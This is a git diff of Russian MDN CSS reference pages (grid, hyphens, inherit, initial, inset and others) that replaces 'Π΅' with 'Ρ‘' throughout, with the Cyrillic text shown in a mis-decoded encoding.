<h2 id="ΠžΠ±Ρ‰ΠΈΠ΅_свСдСния">ΠžΠ±Ρ‰ΠΈΠ΅ свСдСния</h2>
-<p>Бвойство CSS <strong><code>grid</code></strong> являСтся сокращСнной Ρ„ΠΎΡ€ΠΌΠΎΠΉ записи, которая  устанавливаСт значСния для всСх явных свойств сСтки Β (grid)Β  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, Β ΠΈ {{cssxref("grid-template-areas")}}), всСх нСявных свойств сСтки (grid)Β ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, ΠΈ {{cssxref("grid-auto-flow")}}), ΠΈ свойств для ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ рядами ΠΈ столбцами сСтки ({{cssxref("grid-column-gap")}} ΠΈ {{cssxref("grid-row-gap")}}) Π² одной строчкС.</p>
+<p>Бвойство CSS <strong><code>grid</code></strong> являСтся сокращённой Ρ„ΠΎΡ€ΠΌΠΎΠΉ записи, которая  устанавливаСт значСния для всСх явных свойств сСтки Β (grid)Β  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, Β ΠΈ {{cssxref("grid-template-areas")}}), всСх нСявных свойств сСтки (grid)Β ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, ΠΈ {{cssxref("grid-auto-flow")}}), ΠΈ свойств для ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ рядами ΠΈ столбцами сСтки ({{cssxref("grid-column-gap")}} ΠΈ {{cssxref("grid-row-gap")}}) Π² одной строчкС.</p>
-<p class="note"><strong>Note:</strong>Β Π’ ΠΎΠ΄Π½ΠΎΠΉ строкС gridΒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ описаны свойства Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°: явныС ΠΈΠ»ΠΈ нСявныС. ΠŸΠΎΠ΄ΡΠ²ΠΎΠΉΡΡ‚Π²Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ описаны, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚, ΠΊΠ°ΠΊ ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… сокращСнных Ρ„ΠΎΡ€ΠΌΠ°Ρ… записи свойств, значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сокращСнной Ρ„ΠΎΡ€ΠΌΡ‹ записи значСния свойств для ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ рядами ΠΈ столбцами сСтки по ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны Π² сокращСнной Ρ„ΠΎΡ€ΠΌΠ΅ записи.</p>
+<p class="note"><strong>Note:</strong>Β Π’ ΠΎΠ΄Π½ΠΎΠΉ строкС gridΒ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ описаны свойства Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°: явныС ΠΈΠ»ΠΈ нСявныС. ΠŸΠΎΠ΄ΡΠ²ΠΎΠΉΡΡ‚Π²Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π±Ρ‹Π»ΠΈ описаны, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚, ΠΊΠ°ΠΊ ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… сокращённых Ρ„ΠΎΡ€ΠΌΠ°Ρ… записи свойств, значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сокращённой Ρ„ΠΎΡ€ΠΌΡ‹ записи значСния свойств для ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ рядами ΠΈ столбцами сСтки по ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ, нСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны Π² сокращённой Ρ„ΠΎΡ€ΠΌΠ΅ записи.</p>
<p>{{cssinfo}}</p>
@@ -176,7 +176,7 @@ grid: unset;
<p>[2] Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π·Π° прСимущСством <code>layout.css.grid.enabled</code> начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имСя Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ <code>false</code>. Начиная с Β Gecko 52.0 Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
-<p>[3] Internet Explorer ΠΈ Edge Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">ΡΡ‚Π°Ρ€ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации</a>, которая Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ записи <code>grid.Β Π‘ΠΌΠΎΡ‚Ρ€ΠΈΒ </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p>
+<p>[3] Internet Explorer ΠΈ Edge Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚Β <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">ΡΡ‚Π°Ρ€ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ спСцификации</a>, которая Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΡΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ записи <code>grid.Β Π‘ΠΌΠΎΡ‚Ρ€ΠΈΒ </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p>
<p>[4] Π Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π΄ΠΎ Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π²Β <code>chrome://flags</code> начиная с Opera 28.0.</p>
diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html
index 15aee9db7b..b150404bab 100644
--- a/files/ru/web/css/hanging-punctuation/index.html
+++ b/files/ru/web/css/hanging-punctuation/index.html
@@ -37,7 +37,7 @@ hanging-punctuation: unset;
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>Бвойство <code>hanging-punctuation</code>Β  ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ… ΠΈΠ»ΠΈ Ρ‚Ρ€Π΅Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов.</p>
+<p>Бвойство <code>hanging-punctuation</code>Β  ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ, Π΄Π²ΡƒΡ… ΠΈΠ»ΠΈ Ρ‚Ρ€Ρ‘Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов.</p>
<ul>
<li>Для <strong>одного значСния</strong>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано любоС ΠΈΠ· описанных Π½ΠΈΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</li>
@@ -47,7 +47,7 @@ hanging-punctuation: unset;
<li><code>last</code> вмСстС с ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· <code>first</code>, <code>allow-end</code>Β ΠΈΠ»ΠΈΒ <code>force-end</code></li>
</ul>
</li>
- <li>Для <strong>Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²:
+ <li>Для <strong>Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ…Β Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ²:
<ul>
<li><code>first</code>, <code>allow-end</code>Β ΠΈ <code>last</code></li>
<li><code>first</code>, <code>force-end</code>Β ΠΈ <code>last</code></li>
diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html
index 5a256e224d..6bf95b2456 100644
--- a/files/ru/web/css/hyphens/index.html
+++ b/files/ru/web/css/hyphens/index.html
@@ -53,7 +53,7 @@ hyphens: unset;
<dl>
<dt>U+2010 (HYPHEN)</dt>
- <dd><font>«ЖСсткий» дСфис ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки.Β </font><font>Π”Π°ΠΆΠ΅ Ссли строка Π² этом мСстС Π½Π΅ пСрСносится, дСфис всС Ρ€Π°Π²Π½ΠΎ отобраТаСтся.</font></dd>
+ <dd><font>«Жёсткий» дСфис ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ Ρ€Π°Π·Ρ€Ρ‹Π²Π° строки.Β </font><font>Π”Π°ΠΆΠ΅ Ссли строка Π² этом мСстС Π½Π΅ пСрСносится, дСфис всС Ρ€Π°Π²Π½ΠΎ отобраТаСтся.</font></dd>
<dt>U+00AD (SHY)</dt>
<dd>НСвидимый <font>Β«</font>мягкий<font>Β»</font> пСрСнос. Π­Ρ‚ΠΎΡ‚ символ Π½Π΅ отобраТаСтся Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ, вмСсто этого ΠΎΠ½ ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ мСсто, Π³Π΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π·ΠΎΡ€Π²Π°Ρ‚ΡŒ слово, Ссли расстановка пСрСносов Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ°. Π’ HTML, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>&amp;shy;</code> для вставки мягкого дСфиса.</dd>
</dl>
diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html
index f837d98a4b..9f00bc8ca7 100644
--- a/files/ru/web/css/image-set()/index.html
+++ b/files/ru/web/css/image-set()/index.html
@@ -34,7 +34,7 @@ translation_of: Web/CSS/image-set()
<h2 id="Вопросы_доступности">Вопросы доступности</h2>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… изобраТСниях для Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.Β Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго для экранных ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π½Π΅Β ΠΎΠ±ΡŠΡΠ²ΡΡ‚Β ΠΎ своСм присутствии ΠΈ поэтому Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΡƒΡ‚ своим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, критичСски Π²Π°ΠΆΠ½ΡƒΡŽ для понимания ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния страницы, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Π΅ сСмантичСски Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… изобраТСниях для Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.Β Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго для экранных ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π½Π΅Β ΠΎΠ±ΡŠΡΠ²ΡΡ‚Β ΠΎ своём присутствии ΠΈ поэтому Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΡƒΡ‚ своим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, критичСски Π²Π°ΠΆΠ½ΡƒΡŽ для понимания ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния страницы, Π»ΡƒΡ‡ΡˆΠ΅ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Π΅Ρ‘ сСмантичСски Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html
index 128ae1fda3..eb959f3866 100644
--- a/files/ru/web/css/index.html
+++ b/files/ru/web/css/index.html
@@ -8,7 +8,7 @@ tags:
- Learning
- Reference
- RΓ©fΓ©rence(2)
- - ВСрстка
+ - Вёрстка
- Главная
- Π”ΠΈΠ·Π°ΠΉΠ½
- Π‘ΠΏΡ€Π°Π²ΠΊΠ°
diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html
index 5304dc4d9d..b24d30e524 100644
--- a/files/ru/web/css/inherit/index.html
+++ b/files/ru/web/css/inherit/index.html
@@ -24,10 +24,10 @@ translation_of: Web/CSS/inherit
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<pre class="brush: css">/* Π”Π΅Π»Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ уровня Π·Π΅Π»Π΅Π½Ρ‹ΠΌΠΈ */
+<pre class="brush: css">/* Π”Π΅Π»Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ уровня Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ */
h2 { color: green; }
-/* ...Π½ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π·Π΅Π»Π΅Π½Ρ‹ΠΌΠΈ элСмСнты Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ†Π²Π΅Ρ‚ своСго родитСля */
+/* ...Π½ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ элСмСнты Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ†Π²Π΅Ρ‚ своСго родитСля */
#sidebar h2 { color: inherit; }
</pre>
@@ -83,5 +83,5 @@ div#current { color: blue; }
<li><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("initial")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Π² Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</code></li>
<li><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("unset")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Π² Π΅Π³ΠΎ унаслСдованноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ссли ΠΎΠ½ΠΎ наслСдуСт, ΠΈΠ»ΠΈ Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ссли Π½Π΅Ρ‚.</code></li>
<li><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("revert")}} для сброса свойства Π΄ΠΎ значСния, установлСнного Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ-Π°Π³Π΅Π½Ρ‚Π° (ΠΈΠ»ΠΈ стилями ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ссли ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚).</code></li>
- <li><code>Бвойство {{cssxref("all")}} позволяСт ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС свойства сразу Π΄ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ (initial), унаслСдованного (inherited), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ (reverted) ΠΈΠ»ΠΈ нСустановлСнного (unset) состояния.</code></li>
+ <li><code>Бвойство {{cssxref("all")}} позволяСт ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС свойства сразу Π΄ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ (initial), унаслСдованного (inherited), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ (reverted) ΠΈΠ»ΠΈ нСустановлСнного (unset) состояния.</code></li>
</ul>
diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html
index 65187f0ab5..5bc7850151 100644
--- a/files/ru/web/css/initial/index.html
+++ b/files/ru/web/css/initial/index.html
@@ -79,5 +79,5 @@ em {
<li><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("unset")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Π² Π΅Π³ΠΎ унаслСдованноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ссли ΠΎΠ½ΠΎ наслСдуСт, ΠΈΠ»ΠΈ Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ссли Π½Π΅Ρ‚.</code></li>
<li><code>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{cssxref("revert")}} для сброса свойства Π΄ΠΎ значСния, установлСнного Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ-Π°Π³Π΅Π½Ρ‚Π° (ΠΈΠ»ΠΈ стилями ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Ссли ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚).</code></li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство {{cssxref("inherit")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство элСмСнта Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠ°ΠΊ Ρƒ Π΅Π³ΠΎ родитСля.</li>
- <li><code>Бвойство {{cssxref("all")}} позволяСт ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС свойства сразу Π΄ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ (initial), унаслСдованного (inherited), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ (reverted) ΠΈΠ»ΠΈ нСустановлСнного (unset) состояния.</code></li>
+ <li><code>Бвойство {{cssxref("all")}} позволяСт ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС свойства сразу Π΄ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ (initial), унаслСдованного (inherited), Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ (reverted) ΠΈΠ»ΠΈ нСустановлСнного (unset) состояния.</code></li>
</ul>
diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html
index 8cbf51bf1d..88071325e5 100644
--- a/files/ru/web/css/inset/index.html
+++ b/files/ru/web/css/inset/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/inset
---
<div>{{CSSRef}}{{SeeCompatTable}}</div>
-<p>Бвойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> опрСдСляСт логичСский Π±Π»ΠΎΠΊ ΠΈ встроСнныС Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ смСщСния элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ физичСскоС смСщСниС, зависящСС ΠΎΡ‚ способа записи, направлСния ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ тСкста. Оно соотвСтствуСт свойствам  {{cssxref("top")}} ΠΈ {{cssxref("bottom")}}, ΠΈΠ»ΠΈ {{cssxref("right")}} ΠΈ {{cssxref("left")}}, Π² зависимости ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, ΠΈ {{cssxref("text-orientation")}}.</p>
+<p>Бвойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> опрСдСляСт логичСский Π±Π»ΠΎΠΊ ΠΈ встроСнныС Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ смСщСния элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ физичСскоС смСщСниС, зависящСС ΠΎΡ‚ способа записи, направлСния ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ тСкста. Оно соотвСтствуСт свойствам  {{cssxref("top")}} ΠΈ {{cssxref("bottom")}}, ΠΈΠ»ΠΈ {{cssxref("right")}} ΠΈ {{cssxref("left")}}, Π² зависимости ΠΎΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, ΠΈ {{cssxref("text-orientation")}}.</p>
